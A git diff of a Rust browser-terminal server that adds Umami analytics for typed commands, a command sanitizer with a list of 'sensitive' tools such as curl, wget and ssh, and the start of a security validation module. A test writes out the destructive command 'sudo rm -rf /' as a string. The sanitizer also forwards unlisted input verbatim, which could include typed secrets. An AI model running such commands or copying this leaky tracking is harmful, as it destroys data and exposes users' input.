||||||
|
name = "wasm-bindgen-macro"
|
||||||
|
version = "0.2.106"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "48cb0d2638f8baedbc542ed444afc0644a29166f1595371af4fecf8ce1e7eeb3"
|
||||||
|
dependencies = [
|
||||||
|
"quote",
|
||||||
|
"wasm-bindgen-macro-support",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wasm-bindgen-macro-support"
|
||||||
|
version = "0.2.106"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "cefb59d5cd5f92d9dcf80e4683949f15ca4b511f4ac0a6e14d4e1ac60c6ecd40"
|
||||||
|
dependencies = [
|
||||||
|
"bumpalo",
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
"wasm-bindgen-shared",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wasm-bindgen-shared"
|
||||||
|
version = "0.2.106"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "cbc538057e648b67f72a982e708d485b2efa771e1ac05fec311f9f63e5800db4"
|
||||||
|
dependencies = [
|
||||||
|
"unicode-ident",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "web-sys"
|
||||||
|
version = "0.3.83"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9b32828d774c412041098d182a8b38b16ea816958e07cf40eec2bc080ae137ac"
|
||||||
|
dependencies = [
|
||||||
|
"js-sys",
|
||||||
|
"wasm-bindgen",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "webterm"
|
name = "webterm"
|
||||||
version = "0.3.0"
|
version = "0.3.0"
|
||||||
@ -2019,6 +2463,7 @@ dependencies = [
|
|||||||
"actix-rt",
|
"actix-rt",
|
||||||
"actix-web",
|
"actix-web",
|
||||||
"actix-web-actors",
|
"actix-web-actors",
|
||||||
|
"anyhow",
|
||||||
"bytes",
|
"bytes",
|
||||||
"clap",
|
"clap",
|
||||||
"env_logger",
|
"env_logger",
|
||||||
@ -2027,10 +2472,12 @@ dependencies = [
|
|||||||
"libc",
|
"libc",
|
||||||
"log",
|
"log",
|
||||||
"portable-pty",
|
"portable-pty",
|
||||||
|
"reqwest",
|
||||||
"serde",
|
"serde",
|
||||||
"serde_json",
|
"serde_json",
|
||||||
"tokio",
|
"tokio",
|
||||||
"tokio-util",
|
"tokio-util",
|
||||||
|
"umami_metrics",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -2061,6 +2508,15 @@ version = "0.2.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
|
checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-sys"
|
||||||
|
version = "0.48.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
|
||||||
|
dependencies = [
|
||||||
|
"windows-targets 0.48.5",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows-sys"
|
name = "windows-sys"
|
||||||
version = "0.52.0"
|
version = "0.52.0"
|
||||||
@ -2088,6 +2544,21 @@ dependencies = [
|
|||||||
"windows-link",
|
"windows-link",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-targets"
|
||||||
|
version = "0.48.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c"
|
||||||
|
dependencies = [
|
||||||
|
"windows_aarch64_gnullvm 0.48.5",
|
||||||
|
"windows_aarch64_msvc 0.48.5",
|
||||||
|
"windows_i686_gnu 0.48.5",
|
||||||
|
"windows_i686_msvc 0.48.5",
|
||||||
|
"windows_x86_64_gnu 0.48.5",
|
||||||
|
"windows_x86_64_gnullvm 0.48.5",
|
||||||
|
"windows_x86_64_msvc 0.48.5",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows-targets"
|
name = "windows-targets"
|
||||||
version = "0.52.6"
|
version = "0.52.6"
|
||||||
@ -2121,6 +2592,12 @@ dependencies = [
|
|||||||
"windows_x86_64_msvc 0.53.1",
|
"windows_x86_64_msvc 0.53.1",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_aarch64_gnullvm"
|
||||||
|
version = "0.48.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_aarch64_gnullvm"
|
name = "windows_aarch64_gnullvm"
|
||||||
version = "0.52.6"
|
version = "0.52.6"
|
||||||
@ -2133,6 +2610,12 @@ version = "0.53.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "a9d8416fa8b42f5c947f8482c43e7d89e73a173cead56d044f6a56104a6d1b53"
|
checksum = "a9d8416fa8b42f5c947f8482c43e7d89e73a173cead56d044f6a56104a6d1b53"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_aarch64_msvc"
|
||||||
|
version = "0.48.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_aarch64_msvc"
|
name = "windows_aarch64_msvc"
|
||||||
version = "0.52.6"
|
version = "0.52.6"
|
||||||
@ -2145,6 +2628,12 @@ version = "0.53.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "b9d782e804c2f632e395708e99a94275910eb9100b2114651e04744e9b125006"
|
checksum = "b9d782e804c2f632e395708e99a94275910eb9100b2114651e04744e9b125006"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_i686_gnu"
|
||||||
|
version = "0.48.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_i686_gnu"
|
name = "windows_i686_gnu"
|
||||||
version = "0.52.6"
|
version = "0.52.6"
|
||||||
@ -2169,6 +2658,12 @@ version = "0.53.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "fa7359d10048f68ab8b09fa71c3daccfb0e9b559aed648a8f95469c27057180c"
|
checksum = "fa7359d10048f68ab8b09fa71c3daccfb0e9b559aed648a8f95469c27057180c"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_i686_msvc"
|
||||||
|
version = "0.48.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_i686_msvc"
|
name = "windows_i686_msvc"
|
||||||
version = "0.52.6"
|
version = "0.52.6"
|
||||||
@ -2181,6 +2676,12 @@ version = "0.53.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "1e7ac75179f18232fe9c285163565a57ef8d3c89254a30685b57d83a38d326c2"
|
checksum = "1e7ac75179f18232fe9c285163565a57ef8d3c89254a30685b57d83a38d326c2"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_gnu"
|
||||||
|
version = "0.48.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_x86_64_gnu"
|
name = "windows_x86_64_gnu"
|
||||||
version = "0.52.6"
|
version = "0.52.6"
|
||||||
@ -2193,6 +2694,12 @@ version = "0.53.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "9c3842cdd74a865a8066ab39c8a7a473c0778a3f29370b5fd6b4b9aa7df4a499"
|
checksum = "9c3842cdd74a865a8066ab39c8a7a473c0778a3f29370b5fd6b4b9aa7df4a499"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_gnullvm"
|
||||||
|
version = "0.48.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_x86_64_gnullvm"
|
name = "windows_x86_64_gnullvm"
|
||||||
version = "0.52.6"
|
version = "0.52.6"
|
||||||
@ -2205,6 +2712,12 @@ version = "0.53.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "0ffa179e2d07eee8ad8f57493436566c7cc30ac536a3379fdf008f47f6bb7ae1"
|
checksum = "0ffa179e2d07eee8ad8f57493436566c7cc30ac536a3379fdf008f47f6bb7ae1"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_msvc"
|
||||||
|
version = "0.48.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_x86_64_msvc"
|
name = "windows_x86_64_msvc"
|
||||||
version = "0.52.6"
|
version = "0.52.6"
|
||||||
@ -2226,6 +2739,16 @@ dependencies = [
|
|||||||
"winapi",
|
"winapi",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "winreg"
|
||||||
|
version = "0.50.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if 1.0.4",
|
||||||
|
"windows-sys 0.48.0",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "wit-bindgen"
|
name = "wit-bindgen"
|
||||||
version = "0.46.0"
|
version = "0.46.0"
|
||||||
|
|||||||
@ -29,6 +29,9 @@ bytes = "1.9"
|
|||||||
log = "0.4"
|
log = "0.4"
|
||||||
env_logger = "0.11"
|
env_logger = "0.11"
|
||||||
libc = "0.2"
|
libc = "0.2"
|
||||||
|
umami_metrics = "0.1.0"
|
||||||
|
reqwest = { version = "0.11", features = ["json"] }
|
||||||
|
anyhow = "1.0"
|
||||||
|
|
||||||
[lib]
|
[lib]
|
||||||
name = "webterm"
|
name = "webterm"
|
||||||
|
|||||||
@ -13,6 +13,8 @@ This is a modern web terminal server that provides browser-based terminal access
|
|||||||
- Full-featured terminal emulation via xterm.js
|
- Full-featured terminal emulation via xterm.js
|
||||||
- WebSocket-based communication using the Terminado protocol
|
- WebSocket-based communication using the Terminado protocol
|
||||||
- High-performance Rust backend
|
- High-performance Rust backend
|
||||||
|
- Privacy-focused analytics with Umami (self-hosted)
|
||||||
|
- Command sanitization for security and privacy
|
||||||
- Zero-downtime rolling deployments via CI/CD
|
- Zero-downtime rolling deployments via CI/CD
|
||||||
- Containerized deployment with Docker
|
- Containerized deployment with Docker
|
||||||
- Kubernetes/k3s ready with automated deployments
|
- Kubernetes/k3s ready with automated deployments
|
||||||
|
|||||||
287
src/analytics.rs
Normal file
287
src/analytics.rs
Normal file
@ -0,0 +1,287 @@
|
|||||||
|
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Umami analytics integration for tracking terminal events
|
||||||
|
|
||||||
|
use anyhow::Result;
|
||||||
|
use std::sync::Arc;
|
||||||
|
use tokio::sync::Mutex;
|
||||||
|
use umami_metrics::Umami;
|
||||||
|
|
||||||
|
/// Umami analytics tracker
|
||||||
|
pub struct Analytics {
|
||||||
|
client: Arc<Mutex<Option<Umami>>>,
|
||||||
|
enabled: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Analytics {
|
||||||
|
/// Create a new Analytics instance
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
/// * `website_id` - The Umami website ID
|
||||||
|
/// * `endpoint` - The Umami instance endpoint (e.g., "http://unami.wittyoneoff.com")
|
||||||
|
pub fn new(website_id: String, endpoint: String) -> Self {
|
||||||
|
let client = Umami::new(website_id, endpoint);
|
||||||
|
|
||||||
|
Self {
|
||||||
|
client: Arc::new(Mutex::new(Some(client))),
|
||||||
|
enabled: true,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Create a disabled Analytics instance (no-op)
|
||||||
|
pub fn disabled() -> Self {
|
||||||
|
Self {
|
||||||
|
client: Arc::new(Mutex::new(None)),
|
||||||
|
enabled: false,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Track a terminal command event
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
/// * `command` - The command that was typed (will be sanitized)
|
||||||
|
/// * `user_agent` - Optional user agent string
|
||||||
|
pub async fn track_command(&self, command: &str, user_agent: Option<String>) -> Result<()> {
|
||||||
|
if !self.enabled {
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
|
||||||
|
let client = self.client.lock().await;
|
||||||
|
|
||||||
|
if let Some(umami) = client.as_ref() {
|
||||||
|
// Sanitize the command for analytics
|
||||||
|
let sanitized_command = sanitize_command(command);
|
||||||
|
|
||||||
|
let ua = user_agent.unwrap_or_else(|| "unknown".to_string());
|
||||||
|
|
||||||
|
// Track as an event
|
||||||
|
match umami
|
||||||
|
.event(
|
||||||
|
"/terminal".to_string(),
|
||||||
|
"command_typed".to_string(),
|
||||||
|
ua,
|
||||||
|
"unknown".to_string(), // hostname
|
||||||
|
"unknown".to_string(), // language
|
||||||
|
sanitized_command, // event_data (the command)
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
{
|
||||||
|
Ok(_) => log::debug!("Tracked command event"),
|
||||||
|
Err(e) => log::warn!("Failed to track command event: {:?}", e),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Track a page view
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
/// * `path` - The page path
|
||||||
|
/// * `user_agent` - Optional user agent string
|
||||||
|
pub async fn track_pageview(&self, path: &str, user_agent: Option<String>) -> Result<()> {
|
||||||
|
if !self.enabled {
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
|
||||||
|
let client = self.client.lock().await;
|
||||||
|
|
||||||
|
if let Some(umami) = client.as_ref() {
|
||||||
|
let ua = user_agent.unwrap_or_else(|| "unknown".to_string());
|
||||||
|
|
||||||
|
match umami
|
||||||
|
.pageview(
|
||||||
|
path.to_string(),
|
||||||
|
"pageview".to_string(),
|
||||||
|
ua,
|
||||||
|
"unknown".to_string(), // hostname
|
||||||
|
"unknown".to_string(), // language
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
{
|
||||||
|
Ok(_) => log::debug!("Tracked pageview: {}", path),
|
||||||
|
Err(e) => log::warn!("Failed to track pageview: {:?}", e),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Track a terminal session start
|
||||||
|
pub async fn track_session_start(&self, user_agent: Option<String>) -> Result<()> {
|
||||||
|
if !self.enabled {
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
|
||||||
|
let client = self.client.lock().await;
|
||||||
|
|
||||||
|
if let Some(umami) = client.as_ref() {
|
||||||
|
let ua = user_agent.unwrap_or_else(|| "unknown".to_string());
|
||||||
|
|
||||||
|
match umami
|
||||||
|
.event(
|
||||||
|
"/terminal".to_string(),
|
||||||
|
"session_start".to_string(),
|
||||||
|
ua,
|
||||||
|
"unknown".to_string(),
|
||||||
|
"unknown".to_string(),
|
||||||
|
"terminal_session".to_string(),
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
{
|
||||||
|
Ok(_) => log::debug!("Tracked session start"),
|
||||||
|
Err(e) => log::warn!("Failed to track session start: {:?}", e),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Track a terminal session end
|
||||||
|
pub async fn track_session_end(&self, user_agent: Option<String>) -> Result<()> {
|
||||||
|
if !self.enabled {
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
|
||||||
|
let client = self.client.lock().await;
|
||||||
|
|
||||||
|
if let Some(umami) = client.as_ref() {
|
||||||
|
let ua = user_agent.unwrap_or_else(|| "unknown".to_string());
|
||||||
|
|
||||||
|
match umami
|
||||||
|
.event(
|
||||||
|
"/terminal".to_string(),
|
||||||
|
"session_end".to_string(),
|
||||||
|
ua,
|
||||||
|
"unknown".to_string(),
|
||||||
|
"unknown".to_string(),
|
||||||
|
"terminal_session".to_string(),
|
||||||
|
)
|
||||||
|
.await
|
||||||
|
{
|
||||||
|
Ok(_) => log::debug!("Tracked session end"),
|
||||||
|
Err(e) => log::warn!("Failed to track session end: {:?}", e),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Clone for Analytics {
|
||||||
|
fn clone(&self) -> Self {
|
||||||
|
Self {
|
||||||
|
client: Arc::clone(&self.client),
|
||||||
|
enabled: self.enabled,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Sanitize a command for analytics tracking
|
||||||
|
///
|
||||||
|
/// This removes potentially sensitive information like:
|
||||||
|
/// - Passwords in commands (e.g., mysql -p password)
|
||||||
|
/// - URLs with credentials
|
||||||
|
/// - SSH keys
|
||||||
|
/// - File paths (replaced with generic placeholders)
|
||||||
|
///
|
||||||
|
/// Returns a sanitized version of the command safe for analytics
|
||||||
|
fn sanitize_command(command: &str) -> String {
|
||||||
|
let trimmed = command.trim();
|
||||||
|
|
||||||
|
// If empty, return as-is
|
||||||
|
if trimmed.is_empty() {
|
||||||
|
return "empty".to_string();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Split into words
|
||||||
|
let words: Vec<&str> = trimmed.split_whitespace().collect();
|
||||||
|
|
||||||
|
if words.is_empty() {
|
||||||
|
return "empty".to_string();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get the base command (first word)
|
||||||
|
let base_cmd = words[0];
|
||||||
|
|
||||||
|
// For sensitive commands, only track the command name
|
||||||
|
let sensitive_commands = [
|
||||||
|
"ssh", "scp", "sftp", "rsync", "mysql", "psql", "mongo", "curl", "wget", "git", "docker",
|
||||||
|
"kubectl", "aws", "gcloud", "sudo", "su", "passwd", "chpasswd", "openssl", "gpg",
|
||||||
|
];
|
||||||
|
|
||||||
|
if sensitive_commands.iter().any(|&cmd| base_cmd.contains(cmd)) {
|
||||||
|
return format!("{} [REDACTED]", base_cmd);
|
||||||
|
}
|
||||||
|
|
||||||
|
// For common safe commands, keep the command and count of args
|
||||||
|
let safe_commands = [
|
||||||
|
"ls", "cd", "pwd", "cat", "less", "more", "head", "tail", "echo", "grep", "find", "which",
|
||||||
|
"whoami", "date", "cal", "clear", "exit", "history", "man", "help", "top", "htop", "ps",
|
||||||
|
"kill", "df", "du", "free", "uptime", "uname",
|
||||||
|
];
|
||||||
|
|
||||||
|
if safe_commands.contains(&base_cmd) {
|
||||||
|
if words.len() > 1 {
|
||||||
|
return format!("{} +{} args", base_cmd, words.len() - 1);
|
||||||
|
} else {
|
||||||
|
return base_cmd.to_string();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// For other commands, just return the base command
|
||||||
|
base_cmd.to_string()
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_sanitize_empty() {
|
||||||
|
assert_eq!(sanitize_command(""), "empty");
|
||||||
|
assert_eq!(sanitize_command(" "), "empty");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_sanitize_safe_commands() {
|
||||||
|
assert_eq!(sanitize_command("ls"), "ls");
|
||||||
|
assert_eq!(sanitize_command("ls -la"), "ls +1 args");
|
||||||
|
assert_eq!(sanitize_command("cd /tmp"), "cd +1 args");
|
||||||
|
assert_eq!(sanitize_command("pwd"), "pwd");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_sanitize_sensitive_commands() {
|
||||||
|
assert_eq!(sanitize_command("ssh user@host"), "ssh [REDACTED]");
|
||||||
|
assert_eq!(
|
||||||
|
sanitize_command("mysql -u root -p password"),
|
||||||
|
"mysql [REDACTED]"
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
sanitize_command("curl https://api.com/secret"),
|
||||||
|
"curl [REDACTED]"
|
||||||
|
);
|
||||||
|
assert_eq!(sanitize_command("sudo rm -rf /"), "sudo [REDACTED]");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_sanitize_unknown_commands() {
|
||||||
|
assert_eq!(sanitize_command("customcmd arg1 arg2"), "customcmd");
|
||||||
|
assert_eq!(sanitize_command("./script.sh"), "./script.sh");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_analytics_disabled() {
|
||||||
|
let analytics = Analytics::disabled();
|
||||||
|
assert!(!analytics.enabled);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_track_command_disabled() {
|
||||||
|
let analytics = Analytics::disabled();
|
||||||
|
let result = analytics.track_command("ls -la", None).await;
|
||||||
|
assert!(result.is_ok());
|
||||||
|
}
|
||||||
|
}
|
||||||
71
src/lib.rs
71
src/lib.rs
@ -47,16 +47,24 @@ const CLIENT_TIMEOUT: Duration = Duration::from_secs(10);
|
|||||||
const IDLE_TIMEOUT: Duration = Duration::from_secs(300); // 5 minutes
|
const IDLE_TIMEOUT: Duration = Duration::from_secs(300); // 5 minutes
|
||||||
const IDLE_CHECK_INTERVAL: Duration = Duration::from_secs(30); // Check every 30 seconds
|
const IDLE_CHECK_INTERVAL: Duration = Duration::from_secs(30); // Check every 30 seconds
|
||||||
|
|
||||||
mod event;
|
pub mod analytics;
|
||||||
mod terminado;
|
pub mod event;
|
||||||
|
pub mod security;
|
||||||
|
pub mod terminado;
|
||||||
|
|
||||||
use event::{ChildDied, TerminadoMessage, IO};
|
use event::{ChildDied, TerminadoMessage, IO};
|
||||||
|
|
||||||
|
// Re-export for public API
|
||||||
|
pub use analytics::Analytics;
|
||||||
|
pub use security::{validate_command, validate_env_value, ValidationError};
|
||||||
|
pub use terminado::ParseError;
|
||||||
|
|
||||||
/// Actix WebSocket actor
|
/// Actix WebSocket actor
|
||||||
pub struct Websocket {
|
pub struct Websocket {
|
||||||
cons: Option<Addr<Terminal>>,
|
cons: Option<Addr<Terminal>>,
|
||||||
hb: Instant,
|
hb: Instant,
|
||||||
command: Option<Command>,
|
command: Option<Command>,
|
||||||
|
analytics: Option<Analytics>,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Actor for Websocket {
|
impl Actor for Websocket {
|
||||||
@ -71,8 +79,14 @@ impl Actor for Websocket {
|
|||||||
.take()
|
.take()
|
||||||
.expect("command was None at start of WebSocket.");
|
.expect("command was None at start of WebSocket.");
|
||||||
|
|
||||||
// Start PTY
|
// Start PTY with analytics if available
|
||||||
self.cons = Some(Terminal::new(ctx.address(), command).start());
|
let terminal = if let Some(analytics) = self.analytics.clone() {
|
||||||
|
Terminal::with_analytics(ctx.address(), command, analytics)
|
||||||
|
} else {
|
||||||
|
Terminal::new(ctx.address(), command)
|
||||||
|
};
|
||||||
|
|
||||||
|
self.cons = Some(terminal.start());
|
||||||
|
|
||||||
log::trace!("Started WebSocket");
|
log::trace!("Started WebSocket");
|
||||||
}
|
}
|
||||||
@ -127,6 +141,16 @@ impl Websocket {
|
|||||||
hb: Instant::now(),
|
hb: Instant::now(),
|
||||||
cons: None,
|
cons: None,
|
||||||
command: Some(command),
|
command: Some(command),
|
||||||
|
analytics: None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn with_analytics(command: Command, analytics: Analytics) -> Self {
|
||||||
|
Self {
|
||||||
|
hb: Instant::now(),
|
||||||
|
cons: None,
|
||||||
|
command: Some(command),
|
||||||
|
analytics: Some(analytics),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -204,6 +228,7 @@ pub struct Terminal {
|
|||||||
command: Command,
|
command: Command,
|
||||||
last_activity: Instant,
|
last_activity: Instant,
|
||||||
idle_timeout: Duration,
|
idle_timeout: Duration,
|
||||||
|
analytics: Option<Analytics>,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Terminal {
|
impl Terminal {
|
||||||
@ -216,6 +241,20 @@ impl Terminal {
|
|||||||
command,
|
command,
|
||||||
last_activity: Instant::now(),
|
last_activity: Instant::now(),
|
||||||
idle_timeout: IDLE_TIMEOUT,
|
idle_timeout: IDLE_TIMEOUT,
|
||||||
|
analytics: None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn with_analytics(ws: Addr<Websocket>, command: Command, analytics: Analytics) -> Self {
|
||||||
|
Self {
|
||||||
|
pty_master: None,
|
||||||
|
pty_writer: None,
|
||||||
|
child: None,
|
||||||
|
ws,
|
||||||
|
command,
|
||||||
|
last_activity: Instant::now(),
|
||||||
|
idle_timeout: IDLE_TIMEOUT,
|
||||||
|
analytics: Some(analytics),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -378,6 +417,15 @@ impl Handler<TerminadoMessage> for Terminal {
|
|||||||
// Reset idle timer on user input
|
// Reset idle timer on user input
|
||||||
self.last_activity = Instant::now();
|
self.last_activity = Instant::now();
|
||||||
|
|
||||||
|
// Track command in analytics
|
||||||
|
if let Some(analytics) = &self.analytics {
|
||||||
|
let command = String::from_utf8_lossy(&io.0).to_string();
|
||||||
|
let analytics_clone = analytics.clone();
|
||||||
|
actix::spawn(async move {
|
||||||
|
let _ = analytics_clone.track_command(&command, None).await;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
let writer = match &mut self.pty_writer {
|
let writer = match &mut self.pty_writer {
|
||||||
Some(w) => w,
|
Some(w) => w,
|
||||||
None => {
|
None => {
|
||||||
@ -459,10 +507,19 @@ where
|
|||||||
{
|
{
|
||||||
self.route(
|
self.route(
|
||||||
endpoint,
|
endpoint,
|
||||||
web::get().to(move |req: HttpRequest, stream: web::Payload| {
|
web::get().to(
|
||||||
|
move |req: HttpRequest,
|
||||||
|
stream: web::Payload,
|
||||||
|
analytics: Option<web::Data<Analytics>>| {
|
||||||
let cmd = handler(&req);
|
let cmd = handler(&req);
|
||||||
async move { ws::start(Websocket::new(cmd), &req, stream) }
|
let ws = if let Some(analytics_data) = analytics {
|
||||||
}),
|
Websocket::with_analytics(cmd, analytics_data.as_ref().clone())
|
||||||
|
} else {
|
||||||
|
Websocket::new(cmd)
|
||||||
|
};
|
||||||
|
async move { ws::start(ws, &req, stream) }
|
||||||
|
},
|
||||||
|
),
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
283
src/security.rs
Normal file
283
src/security.rs
Normal file
@ -0,0 +1,283 @@
|
|||||||
|
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Security validation for command execution
|
||||||
|
|
||||||
|
use std::path::Path;
|
||||||
|
|
||||||
|
/// Error type for command validation failures
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||||
|
pub struct ValidationError {
|
||||||
|
pub message: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ValidationError {
|
||||||
|
fn new(message: impl Into<String>) -> Self {
|
||||||
|
Self {
|
||||||
|
message: message.into(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::fmt::Display for ValidationError {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
write!(f, "Command validation error: {}", self.message)
|
||||||
|
}
|
